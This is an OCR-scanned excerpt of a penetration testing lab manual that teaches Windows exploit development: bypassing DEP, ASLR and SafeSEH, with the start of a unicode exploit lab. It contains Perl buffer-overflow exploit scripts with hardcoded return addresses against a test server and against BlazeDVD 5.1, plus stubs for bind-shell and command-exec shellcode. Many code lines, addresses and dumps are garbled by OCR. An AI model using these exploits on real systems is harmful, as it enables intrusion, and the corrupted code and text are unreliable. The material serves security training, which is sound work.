001222ad4 ¢cC CC CC CC CC CC CC CC—CC CC CC €8 CC €8 CC CC v i iuvina i s
:001lZe2b4d cc Cc CC CC CC CC CC CC™CE CC CC CC CC CC CC CC  vuvvvvvnnnrnenens
00i2e2c4 C©C CC CC CC CC CC CC CC~CC CC CC CC CC CC CC 8T vt v nreernnenns
; 0C1l2e2d4 CcC CC CC CC CC CC CC CC~CC CC CC CC CC CC CC CC i v v i i v s nannas

Our shellcode is not that far away... ok, let’s play with ESI and EBP. First, let’s swap the addresses to adjust
EBX and ESI. So first adjust EBP, and then ESI.

i use strict;

. use Socket;

“my $junk = " " x 508;

-my $disabledep = pack('V',0x77cl77£8); 4#adjust ebp

" $disabledep = $disabledep.pack{'V',0x71c0db30); fadijust esti

" Sdisabledep = Sdisabledep.pack{’V',0x7c86311d); #set eax to 1

; $disabledep= $disabledep." ";

! $disabledep = $disabledep.pack{'V',0x7¢c8343£5); #run NX Disable routine
i S$disabledep = Sdisabledep.” "; #padding

. Sdisabledep = S$disabledep.pack ('V',0x773ebdff}; #jmp esp (user3Zz.dll)
cmy S$nops = ¢ o 30;

, my $shellcode=" " ox 700;

- # initialize host and port

. my $host = shift 1| "localhost';

“my $port = shift || 200;

~my Sproto = getprotobyname('tep');
4 get the port address
-my $iaddr = inet_aton($host);

my Spaddr = sockaddr in(Sport, $iaddr);
“pring " "
# create the socket, connect to the port
. sockat (SOCKET, PF_INET, SOCKMSTREAM, $proteo) oxr dis " v
print " "
connect {SOCKET, $Spaddr) or die " ",
print " "
T
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.y $payload = $junk.$disabledep.$nops.Sshellcode. " ;
print SOCKET $payload." ";
pring "Llength ($paylead) . ;
close SOCKET or die "
 system('telnet '.Shost.' 55557);
(a50.a70): Access violation - code ¢c0000005 (first chance)
_ First chance exceptions are reported before any exception handling.
" This exception may be expected and handled.
S eax=0012e761 ebx=00000000 ecx=0012e559 edx=0012e¢700 esi=0012e26c edi=00403388

eip=47474747 esp=0012e270 ebp=0012e264 iopl=0 nv up ei pl zr na pe nc
. ¢3=001b ss=0023 ds=0023 es=0023 fs5=003b gs=0000 ef1=00010246

47474747 27 Farars

Aha — this looks a lot better. EIP now contains 47474747 (= GGGG) We don’t even need the jmp esp (which
was still in the code from the XP version of the exploit), or the nops, or the 4 bytes HHHH (padding)

ESP contains

;O:OOO> d esp

-1 0012270 f£5 43 83 7c 48 48 48 48-ff bd 3¢ 77 90 90 90 90 LCLHHHR. (ow. . ..
f 0012e280 90 %0 380 9C S0 90 90 90-90 90 90 90 990G 90 90 90 v vvv e un..
. 0012e290 90 90 90 90 90 90 90 90-90 90 cc ce ce co CC CC vttt ittt nnae s
0012e2al cc cc CC CC CC CQ CC CC~CC GG CC GG CC GO CC CT  eoveeeeee e oo,
0012e2b0 <C €cC CC CC CC CC GC CC-CC CC CC CC CC CC C€C CC  vmv et e enens
0012e2cl cC €C CC CC €CC CC CC CC—CC CC GG CC CC CC CC CC ovoeriee e
0012e2d) <c¢cc ©cC cC ©C ©C CC CC CC-CC CC CC CC CC CC CC €8 wuv oo,
: 001Ze2e0 cC cC cC CC CC CC CC CC-CC CC CC CC CC CC €8 CC v ve et e en e

There are various ways to get to our shellcode now. Look at the other registers. You'll see for example that edx
points to 0x0012¢700, which sits almost at the end of the shellcode. So if we could jump edx, and put some
Jump back code at that location, it should work :
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DL { ;

ATE_READ)
CHTE_READY

i (FRE
iE_RERDONLY?
REQDDPL“}

PACHGESE:
2ic0s4rs
?09184rﬂ

; BsPPREAdEY
Ur?rhf454?
Bavrof48ef

res f4q6b
?gi'qca‘ff

4 ~

[
f FPEFdEZY
TTSF4EZE
[ 7 72F4FBd F
?7"F2FG€ F

pvefindaddr j edx

jmp edx (user32.dll) : 0x773eb603. After doing some calculations, we can build a buffer like this :
[jmp edx][10 nops][shellcode]fmore nops until edxf[jump back].

If we want to have some room for shellcode, we can put 500 nops after the shellcode. edx will then point to
0x0012e900, which sits at somewhere around the last 50 nops of these 500 nops. So if we put jumpcode after
about 480 nops, and make the jumpcode go back to the nops before the shellcode, we should have a winner :

L use strict;

Cuse Socket;

Py $junk = " " x 508;

i my Sdisabledep = pack{('V',0x77¢c177£8); #adjust ebp

i Sdisabledep = S$disabledep.pack('V',0x71c0db30); tadjust esi
" $disabledep = S$disabledep.pack('V’,0x7c86311d); #set eax to 1

| sdisabledep= S$disabledep.pack('V',0x773eb603); #jmp edx user32.dil
Sdisabledep = $disabledep.pack('V',0x7c8343£5); #run NX Disable routine
tmy Snopsl = " "ox 10;
# windows/shell bind tecp - 702 bytes
# http:
# Enceoder: x86/alpha upper

# EXITFUNC=seh, LPORT=5555, RHOST=
my $shellcode=" u
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" 1
n 1]
" T
1 "
" "
T 1)
" 1
T n
" "
L I
" "
11} "
17 "
" n
L "
" "
" "t
1 "
] "
" It
" "
17 "
11 t
™ H
" "
" "
” 11
" n
" e
1" I
n n
n "
" "
" ]
ir "
n "
n r
1] "
H "
TF n
" n
7 n
" "
1] L1
ft 1"
" 1
" ",
!

my $nops2 = " Yox 480;
my $jumpback = " “;  #jump back 1708 bytes

# initialize host and port
my Shost = shift |[{ 'localhost';
my Sport = shift || 200;

S my Sproto = getprotobyname ('tep');
~# get the port address
“my $iaddr = inet aton($host);
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my $paddr = sockaddr in($port, S$Siaddr);

print " ;
_# create the socket, connect to the port
gocket (SCCKET, PF INET, SOCK STREAM, Sproteo) or die " ™.
print " ",
ceonnect (SOCKET, S$paddr) or die 7 "
print " "
‘my $pavliocad = $junk.$disabledep.$nopsl.$shellcede.$nops2.$jumpback.” ";
print SOCKET Spayload." ;
cprint " “.length($payload)." ",
close SOCKET or die " ",

" systam('telnet '.Shost.' 5555%);

DEP bypass with SEH based exploits

In the two examples above, both exploits (and the DEP bypass technique) were based on direct RET overwrite.
But what if the exploit is SEH based ?

In normal SEH based exploits, a pointer to pop pop ret instructions are used to redirect the execution to the
nSEH field, where jumpcode is placed (and subsequently executed). When DEP is enabled, you obviously still
need to overwriie the SE siructure, but instead of overwriting the SE Handler with a pointer to pop pop ret, you
need to overwrite it with a pointer to pop reg/pop reg/pop esp/ret. The pop esp will shift the stack and the ret
will in fact jump to the address in nSEH. (so instead of executing jumpcode in a classic SEH based exploit, you
fill the nSEH field with the first address of the NX bypass routine, and you overwrite SE Handler with a pointer
to pop/pop/pop esp/ret. Combinations like this are hard to find. pvefindaddr has a routine that will help you
finding addresses like this.

ASLR protection

Windows Vista, 2008 server, and Windows 7 offer yet another built-int security technique (not new, but new for
the Windows OS), which randomizes the base addresses of executables, dils, stack and heap in a process’s
address space (in fact, it will load the system images into 1 out of 256 random slots, it will randomize the stack
for each thread, and it will randomize the heap as well). This technique is called ASLR (Address Space Layout

Randomization).

The addresses change on each boot. ASLR and is enabled by default for system images (excluding IE7), and for
non-system images if they were linked with the IDYNAMICBASE link option (available in Visual Studio 2005
SP1 and up, and availabe in VS2008). You can manually change the dynamicbase bit in a compiled library to
make it ASLR aware (set (x40 DIlCharacteristics in the PE Header — you can use a tool such as PE Explorer to
open the library & see if this DilCharacteristics field contains 0x40 in order to determine whether it 1s ASLR

aware or not).
There is a registry hack to enable ASLR for all images/applications :

Edit HKLM\SY STEM\CurrentControlSet\Control\Session Manager\Memory Management' and add a new key
called “Movelmages” (DWORD)

Possible values :
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0 : never randomize image bases in memory, always honor the base address specified in the PE header.

-1 : randomize all relocatable images regardless of whether they have the
IMAGE DLL_CHARACTERISTICS_DYNAMIC BASE flag or not.

any other value : randomize only images that have relocation information and are explicitly marked as
compatible with ASLR by setting the IMAGE_DLL_CHARACTERISTICS DYNAMIC BASE (0x40) flag in
DliCharacteristics field the PE header. This is the default behaviour. '

In order to be effective, ASLR should be accompanied by DEP (and vice versa)

Because of ASLR, even if you can build an exploit on Vista (stack overflow with direct ret overwrite, or seh
based exploit), using an address from one of the dlls, there’s a huge chance that the exploit will only work until
the computer reboots. After the reboot, randomization is applied, and your jump address will not be valid
anymore.

There are a couple of techniques to bypass ASLR. WE’ll discuss the techniques that use partial overwrite or
uses addresses from non-ASLR enabled modules. WE’m not going to discuss techniques that use the heap as
bypass vehicle, or that try to predict the randomization, or use bruteforce techniques.

Bypassing ASLR : partial EIP everwrite

This technique was used in the famous Animated Cursor Handling Vulnerability Exploit (MS Advisory
935423), discovered by Alex Sotirov. The following links explain how this bug was found and exploited :
http://archive.codebreakers-journal.com/content/view/284/27/ — ani-notes.pdf

http://www.phreedom. org/rescarch/vulnerabilities/ani-header/ and Metasploit- Exploiting the ANI vulnerability

on Vista

This particular exploit was believed to be the first exploit that bypasses ASLR on Vista (and, while breaking
protection mechanisms, also bypasses /GS — well, in fact, because the ANT header data is read into a structure,

there was no stack cookie :-)).

The idea behind this technique is quite clever. ASLR will randomize only part of the address. If you look at the
base addresses of the loaded modules after rebooting your Vista box, you’ll notice that only the high order bytes
of an address are randomized. When an address is saved in memory, take for example 0x12345678, it is stored

like this :

“LOW  HIGH
.87 65 43 21

When ASLR is enabled, Only “43” and “21” would be randomized. Under certain circumstances, this could
allow a hacker to exploit/ trigger arbitrary code execution.

Imagine you are exploiting a bug that allows you to overwrite saved EIP. The original saved EIP is placed on

the stack by the operating system. If ASLR is enabled, the correct ASLR randomized address will be placed on

- the stack. Let’s say saved EIP is 012345678 (where 0%1234 is the randomized part of the address, and 5678
points to the actual saved EIP). What if we could find some interesting code (such as jump esp, or something

~ else useful) in the addres space 0x1234XXXX (where 1234 is randomized, but hey — the OS has already put
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those bytes on the stack}? We only need to find interesting code within the scope of the low bytes and replaced
these low bytes with the corresponding bytes pointing to the address of our interesting code.

Let’s look at the following example : open notepad.exe in a debugger (Vista Business, SP2, English) and look at
the base address of the loaded modules :

A ) E. "\.‘5; 2
indoysseys

O novepad ¢
S W THE2O0

The 2 high bytes of these base addresses are randomized. So every time you want to use an address {rom these
modules, for whatever reason (jmp to a register, or pop pop ret, or anything else), you cannot simply rely on the
address found m these modules, because it will change after a reboot.

Now do the same with the vulnsrv.exe application (we have used this application 2 times already in this lab, so
you should now what application WE am talking about) :
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£ty
H32.dl1
toplo. il

So even the base address of our custom application got changed. (Because it was compiled under VC++ 2008,
which has the /dynamicbase linker flag set by default).

- Comnen By Ol bies
D Framewond: aed References
- Condfiparation Propatins

; -Ganeral

- Manfeet Fix

¢ Ebugoeyg

. Systan
Ol 8507

© Erbeddad 10U
Advanced

The !ASLRdynamicbase pycommand in ImmDbg will show the ASLR awareness of the executable
binaries/loaded modules :
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ga
PECHOD0G
FroeBain
754 af

IAS] Rdynamichase

Compile this application without GS and run it in Vista (without HW DEP/NX). We already know that, after
sending 508 bytes to the application, we can overwrite saved EIP. Using a debugger (by setting a breakpoint on
calling function pr(), we find out that saved EIP contains something like 0x011e1293 before it got overwritten,
{where 0x011e is randomized, but the low bits "1293" should be the same across reboots

CRLE - quupin N ead, module volrsey

So when using the following exploit code :

use strict;
use Socket;
my $junk = " " x 508;

" it

my Seipoverwrite = ;
# initialize host and port

my Shost = shift || 'localhost';
my S$port = shift || 200;

my $proto = getprotohyname{'tcp');
# get the port address
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my Siaddr =

my Spaddr =
print "

# create the

sockel,

sockel (SOCKET,

pring "

connect (SOCKET,

"

print

PF_INET,

$paddr)

CORneat

inet_aton{$host);
sockaddr in(Spork,

to the port
SOCK_STREAM,

or die

" .
!

Siaddr);

;

11

print SOCKET $junk.Seipoverwrite.”

print M

. <lose SQCKET or dis

b1,
I

r

Sproto)

2

L1
’

or

",
;

diz

the registers & stack looks like this after EIP was overwritten :

(£90.928): Access viclation - code c0000005 (first chance)

. First chance exceptions are reported before any exception handling.

" This exception may be expected and handled.

. eax=0018e23a ebx=00000000 ecx=0018e032 edx=0018e200 esi=00000001 edi=011e3388
©elp=42424242 esp=0018e030 ebp=41414141 iopl=0

S c3=001b
5'42424242

" 0:000> d
L 0018e032
1 0018e042
{1 00182052
0018062

1 0018e072

;:0018e082
0018092
: 0018e0az

£ 0:000> d
- 0018e200
. 0018e210
1 0018e220
 0018e230

- 0018e240

£ 0018e250

00182260
. 0018e270

S 0:000> @
S 00182030
00182040
© 0018e050
. 00182060
00182070
00182080
0018e090
0018e0a0

Normally, when we get this, we would probably look for a jump edx instruction and overwrite EIP with the
address of jmp edx. (and then use some backwards jumpcode to get to the beginning of the shellcode), or push
ebp/ret... But we know that we cannot just overwrite EIP due to ASLR. The only thing we could do is try to

s55=0023

27

eCx
18
41
41
41
43
41
41
41

edx
41
41
41
41
00
00
00
0o

esp
Oa
41
41
41
41
41
41
41

00
41
41
41
41
41
41
41

41
41
41
41
00
00
Go
6o

a0
41
41
41
41
41
41
41

09
41
41
41
41
41
41
41

41
41
41
41
00
0o
00
0o

18
41
41
41
41
41
41
41

00
41
41
41
41
41
41
41

41
41
41
41
00
0c
00
00

0
41
41
41
41
41
41
41

ds=0023

00
41
41
41
41
41
41
41

41
41
41
42
00
00
00
00

00
41
41
41
41
41
41
41

]y
41
41
41
41
41
41
41

41
41
41
42
00
00
00
00

00
41
41
41
41
41
41
41

41
4]
41
41
41
41
41
41

41
41
41
42
0c
00
00
00

8]0)
41
41
41
41
41
41
41

es=0023
s

41-41
41-41
41-41
41-41
41-41
41-41
41-41
41-41

41-41
41-41
41-41
42~Ca
00-00
00-00
00-00
00-00

00-41
41-41
41-41
41-41
41-41
41-41
41-41
41-41

41
41
41
41
41
41
41
41

41
41
41
00
¢o
0o
00
00

41
41
41
41
41
41
41
41

41
41
41
41
41
41
41
41

41
41
41
00
a0
0o
¢o
G0

41
41
11
41
41
41
41
41

41
41
41
41
41
41
41
41

41
41
41
00
00
GO
00
00

41
41
41
41
41
41
41
41

41
41
41
41
41
41
41
41

41
41
41
00
00
0o
0o
00

41
41
41
41
41
41
41
41

£5=003b gs=0000

41
41
41
41
41
41
41
41

41
41
41
00
00
00
0c
0c

41
41
41
41
41
41
41
41

41
41
41
41
41
41
41
41

41
41
41
00
Go
0o
Go
0C

41
41
41
41
41
41
41
41

41
41
41
41
41
41
41

41
41
41
00
00
00
0o
cao

41
41
41
41
41
41
41
41

nv up ei pl zr na pe nc
ef1=0001024¢

...... AARADAARAA
AAARAAARAAAAALAA
AAARAARRAABAAARA
AAAAADADAADRADAA
ABRAAAARDAARRADAA
AAAAAARAAAAAAAAA
AAADARAADARAADRDA
AAAAAAAAARAARAAA

ARAAAARAAAAARARA
AAADRAAAARADARALA
AARARAAARPARADAAAR
AARABBEB. .......

................

........ AAARRAAR
AAADAAARAAARAAAAR
AAARARAAAAAARARLA
AMADRAAAAAADRARAA
ARADAADAARADARAARNA
AARAAARAAARARAARR
AAAADAAAAARLAAALA
AABRRARAARRAAARMABA
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find something that will do a jmp edx or push ebp/ret inside the address range of 0x011eXXXX — which is the
saved EIP before the BOF occurs), and then only overwrite the 2 low bytes of saved EIP instead of overwriting
saved EIP entirely. In this example, no such instruction exists.

There is a second issue with this example. Even if a usable instruction like that exists, you would notice that
overwriting the 2 low bytes would not work because when you overwrite the 2 low bytes, a string terminator
(00 — null bytes) are added, overwriting half of the high bytes as well... So the exploit would only work if you
can find an address that will do the jmp edx/... in the address space 0x011e00XX. And that limits us to a
maximum of 255 addresses in the 0x01 1e range -

011E1Q0CO

; 011E1001
011E1003
. G1L1E1009
i 011E100E
F 011E1014
' 011E1019
- 011E101B
- 011E1021
| 011E1022
T 011E1027
C011E102A
. 011E102D
P 011E1033
. 011E1039
. 011E103F
- 011EL045
: 0L1E104B
L 011E1051
i 011E1053
t D11E1059
S 011B105¥F
S 011E1065
L 011E1067
011ELO6D
. 011E1070

¢t 011E1Q076

© GL1EL0Q7C
i 0L1E107F
F 011R108%
i 011E108C
| 011E108E
[ 011E1090

: 0111091

011E1092
011E1083
 011E1094
011E1095
01181096
01181097
011E1098
011E1099
011E109A
011E1098
011EL10SC
C11EL0O9D

/3 55
|. 8BEC
{. BlEC
|. A0 14
|. 8885
|. &8 F3
I. 6A 00
i. 8D8D
. 51
i. E8 C3
i. 83C4
|. 8B5S
|. 8993
|. 8D8Y
I. 8985
{. 8B8D
{. 898D
i> 8B9S
. 8ACQZ
[. 8885
|. 8B8D
[. 8ASS
|. 8811
[. 8BES
f. 83C0
{. 8885
i. 8R8D
|. 83Ct
[. 828D
|. 80BD
| .~75 BD
|. 8BES
f. 5D
\. €3

cC

cC

cC

cc

cC

cC

cC

cC

cC

ccC

cC

CcC

08020000
21Cb0oC
O8FEFFFF
010000

09FEFFFF

0aQ000
GC

08
O4FEFFFF
O8FEFFFF
O0FEFFEF
QO0FEFFFF
FCFDFFFF
Q4FEFFFFE

FBFDFFEFF
Q0FEFFEFF
FEFDFFFF

D4FEFFFF
01

Q4FEFFFF
QOFEFFFF
01

COFEFFFF
FREDFIFEF

PUSE EBP

MOV EBP,ESP

SUBR ESP, 208

MOV AL, BYTE PTR DS: [CD2114]
MOV BYTE PTR SS: [EBP-1F8],AL
PUSH 1F2

PUSH 0O

LEA ECX,DWORD PTR SS:[EBP-1F7]
PUSH ECX

CALL <JMP.&MSVCRS0.memset>

ADD ESP,0C
MOV EDX, DWORD PTR SS: [EBP+8]
MGV DWORD PTR $S: [EBP-1FC}, EDX

LEA
MOV
MOV
MOV
/ MOV
| MOV
[ MOV
| MOV
| MOV
| MOV
| MOV
FADD
MOV
| MOV
{ADD
| MOV

> | CMP
\JINZ
MOV
POPR
RETN
INT3
INT3
INTZ2
INT3
INT3
INT3
INT3
INT3
INT3
INT3
INT3
INT3

EAX, DWORD PTR S$S:[EBP-1F8]
DWORD PTR SS: [EBP-20071, EAX
ECX,DWCORD PTR S5S:{EBP-200]
DWORD PTR 5S5: [ERP-20471, ECX
EDX, DWORD PTR §§: [EBP-1FC]
AL, BYTE PTR DS: [EDX}

BYTE PTR SS:[EBP-205],AL
ECX,DWORD FTR $S: [EBP-200]
DL, BYTE PTR $S: [ERP-205]
BYTE PTR DS: [ECX],DL

EAX, DWORD PTR SS5:{EBP-1F(C]
EAX, 1

DWORD PTR S$S: [EBP-1FC1,EAX
ECX, DWORD PTR S$S: (EBP-200)
ECX, 1

DWORD PTR S5S5: [EBP-200],ECX
BYTE PTR SS:[EBP~205],0
SHORT wvulnsrv.011E104B
ESP, EBP
EBP

z
i
r

I

/n = 1F3 (499.)
lc = 00

I

is

\memset
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. 011E10FF

oA 00

PUSH O

INT3

Bypassing ASLR : using an address from a non-ASLR enabled module

011E109K CcC
011E109F CC INT3
011E10AC / 55 PUSH EBP
011E10A1 [. BBEC MOV ERP,ESP
Q0L1IE1CAZ3 | . BB45 08 MOV EAX, DWORD PTR S5:[ERP+8]
01182086 |. 50 3H EAX /<%3>
011E10A7 |. 68 1821CDCO 5K vulnsrv.011E2118 Viormat = "
011E10AC |. FF15 AQ20CDO0C CALL DWORD PTR DS: [<&MSVCRED .printi>] Nprintf
011810B2 |. 83C4 08 ADD ESP, 8
011E10B5S |. E8 FACQS0000 CALL <JMP.&WSOCK3Z2,#116> [WSACleanup
CLLELIO0RBA |. 5D POP ERP
011E1O0BB \. C3 RETHN
011E10BC cc INT3
Q011E10BD CC INT3
011E10BE cc INT3
© 0l1EL10BF CcC INT3
- 011E10C0 /S 55 PUSH EBP
"¢ 0liE10CYI ] . BREC MOV ERP, ESP
o Q11E10C3 |, B8 141D0O00O MOV EAX,1D14
S 011E10C8 I. E8 230A0000 CALL vulnsrv.011lE1AFO
" 011E10CD . A0 1521CDCO MOV AL,BYTE PTR DS:[CD2115}
011Ri0DZz . 8885 FOEZFFFF MOV BYTE PTR S5S:[EBP-1D10],AL
f011R10D8 |, 68 87130000 PUSH 1387 /o= 1387 (4999.)
. 011E10DD  |. BA (O PUSH 0 lc = 00
;. 011ELODF . 8DBD FLEZFFFF LEA ECX,DWORD PTR SS: [EBRP-1DOF]
¢ 011E10E5 {. 51 PUSH ECX I's
" Q11E10E6 |. E8 FF0S0000 CALL <JMP.&MSVCRO0.memset> \memset
: 011ELIQOEB |. B3C4 (C ADD ESP,0C
© 011EI1Q0EE |. 8Al5 1621CDO0C MOV DL,BYTE PTR DS: [CD2116)
i 011E10F4 [. 8895 78F6FFFF MOV RBYTE PTR 55: [ERP-988],DL
" 011E10FA  |. 68 CF070000 PUSH 7CF /n = TCF {199%.)
| |lc = 00

A second technique that can be used to bypass ASLR is to find a module that does not randomize addresses.
This technique is somewhat similar to one of the methods to bypass SafeSEH : use an address from a module
that is not safesch (or ASLR in this case) enabled. WE know, some people may argue that this is not really
“bypassing” the restriction... but hey — it works and it allows for building stable exploits.

In certain cases (in fact in a lot of cases), the executable binarjes (and sometimes some of the loaded modules)
are not ASLR aware/enabled. That means that you could potentially use addresses/pointers from those

binaries/modules in order to jump to shellcode, because those addresses will most likely not get randomized. In
the case of the executable binary : the base address for these binaries often start with a null byte. So that means
that even if you can find an address that will jump to your shellcode, you’ll need to deal with the null byte. This
may or may not be a problem, depending on the stack layout and the contents of the registers when the BOF

QCCUrs.

Let’s have a look at a vulnerability. This exploit shows a BOF vulnerability in BlazeDVD 5.1 Professional,
triggered by opening a malicious plf file. The vulnerability can be exploited by overwriting the SEH structure.

Now let’s see if we can build a reliable exploit for Vista for this particular vulnerability.
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Install the BlazeDVD program from the “vulnerable programs to exploit” directory.

Start by determining how far we need to write in order to hit the SE structure. After doing some simple tests, we
find that we need an offset of 608 bytes to overwrite SEH :

my Ssploitfile=" w,
print Y ",
my $junk = " " x 608;

- $junk = $junk.” ",

 Spayiocad =$ijunk;
pfil'}t " .
opan (SFILE," "y

print SFILE Spayload:
close (SFILE);
S print v ".length {$payload). : ;

Qk, it tooks like we have 2 ways of exploiting this one : either via direct RET overwrite (EIP=41414141) or via
SEH based (SEH chain : SE Handler = 43434343 (next SEH = 42424242)). ESP points to our buffer.

When looking at the ASLR awareness state table (! ASLRdynamicbase), we see this :
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- Wow — a lot of the modules seem to be not ASLR aware. That means that we should be able to use addresses
. from those modules to make our jumps. Unfortunately, the output of that ASLRdynamicbase script is not

~ reliable. Take note of the modules without ASLR and reboot the system. Run the command again and compare

the new list with the old list. That should give you a better idea on which modules can be used. In this scenario,

.~ - you'll go back from a list of 23 to a list of 7 (which is still not too bad, isn’t it):

- BlazeDVD.exe (0200400000}, skinscroilbar.dll (0= 10000000), configuration.dll (0x60300000), epg.dll
-+ {0x61600000) , mediaplayerctrl.dll (0x64000000) , netreg.dll (0x64100000) , versioninfo.dll (0x67000000)

Bypass ASLR (direct RET overwrite)

¢ In case of a direct RET overwrite, we overwrite EIP after offset 260 , and a jmp esp (or call esp or push
. esp/ret) would do the trick.

" ¢ Possible jump addresses could be :

?:' * blazedvd.exe : 79 addresses (but null bytes 1)
E: * gkinscrollbar.dll ; O addresses

- * configuration.dil : 2 addresses, no null bytes
* epg.dll : 20 addresses, no null bytes

© * mediaplayerctrl.dll : 15 addresses, 8 with null bytes

* netreg.dll : 3 addresses, no null bytes
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* yersioninfo.dll : O addresses

EIP gets overwritten after 260 characters, so a reliably working exploit would look like this :

my Ssploitfile=" ;
rint " ;

my $junk = " " u 260;

Pmy Sret = pack('V',0x6033b533); #imp esp from configuration.dil

“my S$nops = " *ox 30;
. # windows/exec - 302 bytes
" # http:

. # Encoder: x86/alpha upper
i # BXITFUNC=seh, CMD=calc
i my $shellcode="

L

. $paylcad =$junk.Sret.S$nops.S$shellcode;

E print " ' ;
: open ($FILE,"™. o "y

S print $FILE S$payload;

D close (SFILE) ;

D print " ", length{$payload).” ;
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: !

S e
5 I P
] .

"'5" Dum 4‘ nm.n

ir.]

420 ;mf

Reboot, try again... it should still work

eradare
DEALYES
LLLENYTY

ASLR Bypass : SEH based exploits

In case of SEH based exploit, the basic technique is the same. Find modules that are not aslr protected, find an
address that does what you want it to do, and sploit... Let’s pretend that we need to bypass safeseh as well, for
the phun of it.

Modules without safeseh : (Ipvefindaddr nosafeseh)

1eh stabat rer foesrd roedelay g

.
*
-
-
i
-
-
a
-
.
-
»
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If we can find a usable address in one of these modules, we should be good to go. Again, the output will not be
reliable, so you need to reboot & compare the outcome in order to be sure. The modules that are not aslr
protected, and not safeseh protected either, are ;

* skinscrollbar.dll (0x10000000)

* configuration.dli (0x60300600)

* epg.dll (0x61600000)

* mediaplayerctrl.dll (0x64000000)

* netreg.dll (0x64100000)

* versioninfo.dll (0x67000000)

So a pop pop ret from any of these modules (or, alternatively, a jmp/call dword[reg-+nn] would work too)

§ g SRRt Pk B Lop Wnacm 1 reiodn

Working exploit (SE structure hit after 608 bytes, using pop pop ret from skinscrollbar.dll) :

my Ssploitfile=" ;
print " "
my $junk nrmox 608;

my $nseh " "

K
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(VY 0x1001C01e7); fp esi/p ecx/ret from skinscrollbar.dll

v $seh = g
ay Snop = " "ox 30y

# windows/exsc -~ 302 bytes
# http:

f Encoder: =x86/alpha upper
# EXITFUNC=seh, CMD=calc
my Sshellcode="

1" - : LI

: $payload =%junk.$nseh.$seh.Snop.$shellcode;

* print 0.
' open (SFILE," "}

"print $FILE Spayload;

~§cl05e($FILE);

:}print " *.length ($payload} . : C ;
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Lab #5
Writing Functional Unicode Exploits
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You may (or may not) have encountered a situation where you’ve performed a stack buffer overflow,
overwriting either a RET address or a SEH record, but instead of seeing 0x41414141 in EIP, you got
0x00410041. _

Sometimes, when data is used in a function, some manipulations are applied. Sometimes data is converted to
uppercase, to lowercase, etc... In some situations data gets converted to unicode. When you see 0x00410041
in BIP, in a lot of cases, this probably means that your payload had been converted to unicode before it was put

on the stack,

For a long time, people assumed that this type of overwrite could not be exploited. It could lead to a DoS, but
not to code execution.

In 2002, Chris Anley wrote a paper showing that this statement is false. The term “Venetian Shellcode” was
bom.

In Jan 2003, a phrack article was written by obscou, demonstrating a technique to turn this knowledge into
working shellcode, and about one month later, Dave Aitel released a script to automate this process.

In 2004, X demonstrated a new script that would optimize this technique even further.

Finally, a little while later, SkyLined released his famous alpha2 encoder to the public, which allows you to
build unicode-compatible sheflcode too. We’ll talk about these techniques and tools later on.

In order to go from finding 0x00410041 to building a working exploit, there are a couple of things that need to
be clarified first. It’s important to understand what unicode is, why data is converted to unicode, how the
conversion takes place, what affects the conversion process, and how the conversion affects the process of

building an exploit.

What is unicode and why would a developer decide to convert data to unicode ?

Wikipedia states : “Unicode is a computing industry standard allowing computers fo represent and manipulate
text expressed in most of the world’s writing systems consistently. Developed in tandem with the Universal
Character Set standard and published in book form as The Unicode Standard, the latest version of Unicode
consists of a reperioire of more than 107,000 characters covering 90 scripts, a set of code charts for visual
reference, an encoding methodology and set of standard character encodings, an enumeration of character

. properties such as upper and lower case, a set of reference data computer files, and a number of related items,
such as character properties, rules for normalization, decomposition, collation, rendering, and bidirectional
display order (for the correct display of text containing both right-to-left scripts, such as Arabic or Hebrew, and

lefi-to-right scripts). ",

In short, unicode allows us to visually represent and/or manipulate text in most of the systems across the world
in a consistent manner. So applications can be used across the globe, without having to worry about how text
will look like when displayed on a computer — almost any computer — in another part of the world.

Most of you should be more or less familiar with ASCII. In essence, uses 7 bits to represent 128 characters,
often storing them in 8 bits, or one byte per character. The first character starts at 00 and the last is represented
in hex by 7F. (You can see the full ASCII table at http://www.asciitable.com/)
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Unicode is different. While there are many different forms of unicode, UTF-16 is one of the most popular. Not
surprisingly, it is made up of 16 bits, and is broken down in different blocks/zones (read more at
hitp://czyborra.com/unicode/characters.html). (For your information, an extension has been defined to allow for
32 bits). Just remember this : the characters needed for today’s living language should still be placed in the
original Unicode plan 0 (a.k.a. Basic Multilangual Plane = BMP). That means that most plain language
characters, like the ones used to write this article, represented in unicode, start with 00 (followed by another
byte that corresponds with the hex value of the original ASCII character).

Example : Ascii character ‘A’ = 41 (hex), the Basic Latin Unicode representation is 0041,
There are many more code pages, and some of them don’t start with 00. That’s important to remember too.

So far so good — having a unified way to represent characters is nice... but why is a lot of stuff still in ASCIL ?
Well, most applications that work with strings, use a null byte as string terminator. So if you would try to stuff
unicode data into an ASCII string, the string would be ended right away... So this is why for example plain text
applications (such as smtp, pop3, etc) still use ASCII for setting up communications. (OK, the payload can be
encoded and can use unicode, but the transport application itself uses ASCIL).

If vou convert ASCII text into Unicode (code page ansi), then the result will look like as if “00” is added before
every byte. So AAAA (41 41 41 41) would now look like 0041 0041 0041 0041. Of course, this is just the
result of a conversion from data to wide char data. The result of any unicode conversion depends on the
codepage that was used.

Let’s have a look at the MultiByteToWideChar function (which maps a character string to a wide-character
unicode string) :

i int MultiByteToWideChar (
| UINT CodePage,

DWORD dwFlags,

LECSTR lpMultiByteStr,
int cbMultiByte,
LPWSTR lpWideCharStr,
int cchWideChar

i
As you can see, the CodePage 1s important. Some possible values are

CP_ACP (Anst code page, which is used in Windows, also referred to as utf-16), CP_OEMCP (OEM code
page), CP_UTF7 (UTF-7 code page), CP_UTFS (UTF-8 code page) etc

The [pMultiBytestr parameter contains the character string to be converted, and the IpWideCharStr contains the
pointer to the buffer that will receive the translated (unicode) string.

So it’s wrong to state that unicode = 00 + the original byte. It depends on the code page.

You can see the code page that is used on your system by looking at the “Regional and Language Options”. On
my system, 1t looks like this :

Copyright InfoSec Institute, Inc. | Expert Penetration Testing Lab Manual §



S S [ e et Sy
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| 103(}1 [MAC - Japarese]
(3 10002 (14C - Tradiiona Chinase Bigh)
[7] 10002 (AL Korean)
3 10004 (MAC - Arabic)
{1 10005 [MAC - Hebiew)

It is important to remember that only the ASCII characters between 01h and 7fh have a representation in ansi
unicode where null bytes are added for sure. We’ll need this knowledge later on.

A developer may have chosen to use this function on purpose, for the obvious reasons (as indicated above). But
sometimes the developer may not even know to what extend unicode will be used “under the hood” when an
application is built/compiled. In fact, the Win32 API’s often translate strings to Unicode before working with
them. In certain cases, (such as with Visual Studio), the API used is based on whether the UNICODE macro is
set during the build or not. If the macro is set, routines and types are mapped to entities that can deal with
unicode. API functions may get changed as well. For example the CreateProcess call is changed to
